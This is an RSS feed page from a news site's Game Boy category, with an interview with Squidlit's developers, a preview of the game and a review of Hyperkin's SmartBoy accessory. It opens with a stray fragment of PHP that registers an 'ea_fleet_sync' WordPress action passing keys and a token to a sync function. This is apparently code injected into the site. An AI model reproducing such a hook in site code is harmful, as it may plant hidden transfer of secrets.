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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); GameBoy – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 16 Apr 2018 00:59:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png GameBoy – Brief News https://briefnews.eu 32 32 Squidlit Developers Talk About Creating An Authentic GameBoy Recreation https://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/ https://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/#respond Mon, 16 Apr 2018 00:59:35 +0000 http://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/ squidlitInterview_header.jpg

For those of you who miss the many shades of green, the chirpy sound effects, and the simplistic (yet challenging) gameplay of the Game Boy era, Squidlit is the answer to your prayers. A Game Boy-inspired platformer, Squidlit aims to create a nostalgic experience through simulating the limitations of the handheld with their title.

In their interview with IndieGames.com, Alex Barrett and Samantha Davenport talked about the challenges that came with designing a game for the classic system.

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What drew you to create an authentic Game Boy experience 15 years after its discontinuation?

Samantha: We are, first and foremost, people who really enjoy playing video games. To that effect, we have a collection of a few hundred games that spans back to the late 1970’s. When Alex came up with the idea of creating our own video game, it seemed to make sense that we start, essentially, at the beginning with a console we know well and love. The first console Alex played was the Nintendo DMG Game Boy, so it was a natural choice.

When we looked at other games that sought to capture the nostalgia of a previous console, we always noticed that while capturing the look of a console like the GameBoy, it’s hard to find one that goes to the lengths to recreate all the console’s limitations as well. We thought to ourselves that if you don’t see something you think should be there, make it yourself!

What challenges came with recreating the visual and audio style of the Game Boy?

Alex: I think the most challenging aspect of making Squidlit came from things going on in the background of the game. It was important to me that the four sound channels of the Game Boy be accurately represented. I had to make a system where if a sound effect used one of the channels dedicated to the music, the music on that channel would stop playing for the duration of the effect (it’s most noticeable when you talk to ooblugs). Also, almost all animations in Squidlit are synced to the beat of the music, so everything is that much cuter. This also took some finagling. Perhaps someone more experienced would have an easier time with stuff like this, but as my very first game it took months to figure out.

How did the limitations of the Game Boy technology affect the game’s design?

Alex: One of the more limiting aspects of the Game Boy was it’s inability to display more than 10 sprites in a horizontal line. Plip, for example, is made up of two 8 x 16 pixel sprites so the amount of obstacles we could throw in front of her was limited. I didn’t want any flickering to happen in Squidlit, so we had to go through every possible location of simultaneous objects on the screen and make sure we didn’t exceed this limit. The Game Boy also had an itty bitty 160 x 144 resolution screen, so you can’t see very far ahead of you. We put a lot of thought into trying to make the enemies fair in relation to your view.

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Were the play styles or visual themes dictated by the Game Boy limitations? How so?

Alex: I started doodling squidlits in high-school all over really serious things like math and economics. When I started making a game, I found they translated really well to the Game Boy’s limited palette. Kirby’s Dreamland was a big inspiration for Squidlit. Masahiro Sakurai, its director, once stated that the original concept for it used only one button. We took this to heart in trying to design a game around the Game Boy’s limited methods of input, and we ended up whittling the mechanics down to jumping and attacking using the same button.

What challenges did you face in creating cute characters and vibrant worlds when limited by the Game Boy’s visual style?

Samantha: When creating the world for Squidlit, we wouldn’t think about the technology at first. We would first talk about what the characters are like, what their world should be like, and what they would do. Skwit Skwot, God Emperor, does indeed have a reason for why she is creating this possibly dangerous magic, while Plip truly believes she must stop Skwit Skwot. The biggest challenge in this method was taking these grand ideas and finding ways to implement them into a GameBoy recreation. I think we managed quite well, as we ended up not having to sacrifice any of our major ideas.

If there was anything specific I had to point out, however, it’s the word limitation on how much each character could say before it felt overly tedious. It seems like some of the characters are saying a whole lot at certain points, but what they’re saying is very carefully condensed lore on what’s truly going on. That being said, Squidlit is a test run and prologue to our next title, Super Squidlit.

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How do you make your game feel fresh to modern players when working with a purposely-limiting older visual/audio style?

Samantha: In making a Game Boy recreation game, one thing we noticed was that a lot of platformer titles for the console didn’t really incorporate story too heavily. We decided that putting in an over-arching plot with hints as to motivations for both sides of the story would draw in more modern players with aspects of storytelling they are more familiar with. We also made sure to sprinkle in a hearty dose of Squidlit-y love and comedy in there to make things lighthearted and squishy!

Were there any rules of Game Boy development that you didn’t follow? Would this fit on an actual Game Boy cartridge?

Alex: To my knowledge, Squidlit doesn’t do anything that a Game Boy can’t. On that note, if anyone finds it doing something it’s not supposed to be able to, let us know and we’ll put out a patch! One could probably squeeze Squidlit onto a Game Boy cart from later in the console’s lifetime, and that was a deciding factor for the length of the game. We would probably have to pull some shenanigans to get some of the more fluid animations to play, much like Donkey Kong Land did. We capped the game at 30 FPS, even though the Game Boy can run at a full 60, to accommodate for some of the more complex things it does.

You can purchase Squidlit on Steam here. You can also check out the indieDB page and Twitter for more information!

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Aiming to replicate an authentic Game Boy experience, Squidlit is a new game that feels like a trip down a pea-green memory lane. An adorable, squid-like protagonist will be inking its enemies in this side-scrolling adventure in a quest to help the Squidlits of the world!

Take control of a cute Squidlit whose main offense is a powerful ink spray that it can fire downward, players aiming their jumps in order to hose down their foes. You’ll have to use your enemy trouncing powers to progress through the levels and ‘spoopy’ mansions, some guarded by evil books, winged snakes, and other odd bosses who don’t appreciate a face full of ink.

Simple mechanics, a memorable color scheme, and sounds generated on the Game Boy itself all come together to make a new experience that still feels nostalgic, in a way. The developer has gone to great lengths to make sure players who know the Game Boy from their childhood would be able to relive those (battery draining) days. At the same time, new players will be able to experience a cute game while experiencing the classic handheld device, without having to hunt down a physical system OR somehow find that perfect lighting that would actually make the screen visible.

Enjoy a cute cast of characters, a nostalgic experience, and thrilling boss battles in Squidlit!

You can purchase Squidlit on Steam here. You can also check out the indieDB page and Twitter for more information!

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REVIEW:

The Nintendo GameBoy library is a sweet chocolate box of retro gaming: little cartridges containing quaint, meticulously machine-coded 8-bit treasures. It would be a shame to see these games become lost and forgotten in time.

Doing its part to make sure that doesn’t happen, Hyperkin has launched the SmartBoy (available now for $ 50), a smartphone accessory that hooks up to any handheld Android device with a native Type-C USB port and enables you to play the gems of the GameBoy catalog. All that’s needed is an original GameBoy or GameBoy Color cartridge to slide into the unit.

Being the local retro-snoot, and avid fan of the GameBoy platform, I eagerly took it upon myself to give the HyperKin SmartBoy a test run!

What you’ll like

Above: SmartBoy and the GameBoys

Image Credit: VentureBeat/Stephen Kleckner

Keeping the GameBoy accessible and viewable

I like Hyperkin’s main product, the modern retro-console called the Retron, because it takes advantage of something most people have in their modern living rooms: a HDMI display. The SmartBoy has similar philosophy, using what a lot of people have in their pockets: a smartphone display.

This is a really cool idea, because man, if there is one thing that has vastly improved over the decades since the original GameBoy, it’s portable screen technology. With a modern display, you don’t have to adjust lamp shades to get light to hit the screen just right or tilt the GameBoy in an awkward angle just to get the sprites to become half-assed visible. You get a game going on the SmartBoy, and voila — beautiful and clear GameBoy graphics.

There’s also a long-term benefit for the GameBoy library, in that the SmartBoy keeps the platform accessible. GameBoy hardware isn’t exactly difficult to get a hold of, but neither is a smart phone. Something like the SmartBoy could help ensure that these games will be playable for a long time.

Good design

The SmartBoy’s style looks like the white brick GameBoy (known as the DMG model), but the unit’s width and D-pad/button placement are more in line with the GameBoy Color — making the control space a bit smaller. So if you grab a SmartBoy and remember the original GameBoy feeling a tad bigger, it’s not just because you have huge adult hands now.

The buttons and D-pad feel close to the original brick GameBoy unit, making me wonder if Hyperkin sourced these from the same manufacturer Nintendo used. Sensitive hands are going to pick up on a slightly stiffer sensation to the controls, but I chalk that up to comparing new buttons to a 30-year-old, heavily used, GameBoy. The SmartBoy also has two mysterious triggers toward the top, suggesting support for other platforms in the future.

In order to hold the phone in place, Hyperkin employs a spring loaded side-wall system, which hugged a Samsung Galaxy S8 lovingly. The Type-C connection is also adjustable, so I don’t have to play a blind game of “hunt for the hole” to hook the phone up.

The SmartBoy kept the phone secure enough that I could turn the entire unit upside down and give it a slight shake, without anything slipping out. With that said, the phone had to lose its protective cover to fit, and I wasn’t about to whip the SmartBoy around my head like a mad man to test it. If you move around a lot while playing, I’d recommend keeping it to a moderate level.

What You Won’t Like

Above: You think you’re pretty smart, hunh, SmartBoy?

Image Credit: Hyperkin

*Sigh* Hello again, emulation

When I first saw the SmartBoy, I assumed it was GameBoy hardware modified to use a smartphone as a display. But the SmartBoy actually puts all the heavy-lifting on the phone, which just like the Retron is running games via emulation. In this case, it’s through the My OldBoy! app.

Look, I get it. I can see how this is the easier, most realistic way of doing things. But emulation bring baggage. Depending on the game, the phone, and the overall platform running it, nothing guarantees that the games will run accurately.

On a Samsung Galaxy S8, it felt like there were minor input lag issues on some games compared to my original GameBoy and GameBoy Color. Is that the emulator, the phone, or the SmartBoy? Who knows?

Set up is a lot of work

The SmartBoy requires two apps to get running: My OldBoy! and SmartBoy Companion. Requiring two apps, and getting them to jive together, comes close to setting off my first-world-annoyance alarm.

It took a reinstall or two to get the two apps to tolerate each other and work together. The SmartBoy also requires users to be comfortable dealing with their phone’s file directory and dealing with setting up an emulator on their device. Warning: The process isn’t as plug-‘n’-play as you may think it is.

Where the setup got really unintuitive, unfortunately, was when I had to verify three popup windows while connecting the SmartBoy. You’d think A for OK and B for Cancel would be the way to go, but Hyperkin turned the input into a cheat code: A, Down, Down, Right, A.

From one perspective, cool! An 8-bit cheat code! Nod, nod, wink, wink! From another perspective, WTF?! I got this far, and I have to put in cheat codes?

No charge

The SmartBoy has no input for putting a charge through to the device you’re using. On the flip side, it took roughly two-and-a-half hours of constant use to drain a Samsung Galaxy S8 with a full charge. That isn’t bad, but if I could charge at the same time, it wouldn’t even be a topic of discussion at all!

Apple can’t play

If you’re rocking an Apple device, take a walk. If you’re rolling with Android, but you don’t have a native Type-C port, go join the Apple kids, cause you ain’t playin’ either.

I tested using a Micro-USB/Type-C adapter on a Samsung Galaxy S5, and it didn’t work. So you may be out of luck on that front as well.

Conclusion

The SmartBoy is a cool phone accessory, but it’s difficult to know who to recommend it to. Like the Retron, the big issue is emulation. If I own a bunch of original GameBoy cartridges, why would I want to emulate them? If you’re super-picky about quality, the emulation issue is the hang up. It’s like an audiophile that owns vinyl considering a player that converts the audio coming out of the speakers to MP3 quality.

The Retron could skirt the emulation issue because it was freeing me from a major physical hassle: having to have a huge, heavy CRT television set around to play games. Owning an original GameBoy, however, is not anywhere near the same type of hassle as dealing with CRTs. And being technically savvy, I have options that include back light mod’ing a GameBoy unit to make the original screen nice and clear.

If emulation isn’t an issue, then you may already be emulating these games on your phone already. The SmartBoy is definitely a superior input option compared to the onscreen virtual controls of any emulator, but the give to this situation is that you have to own the original cartridges for it to work. Legally, you all should own the original games before emulating, but let’s also not be so gawd damned naive. A lot of people emulating games don’t, and this is something to consider.

When it comes to playing GameBoy games, the SmartBoy isn’t a bad way to go, but it’s currently not the way.

Score: 65/100

Hyperkin provided a SmartBoy unit for the purpose of this review.

VentureBeat

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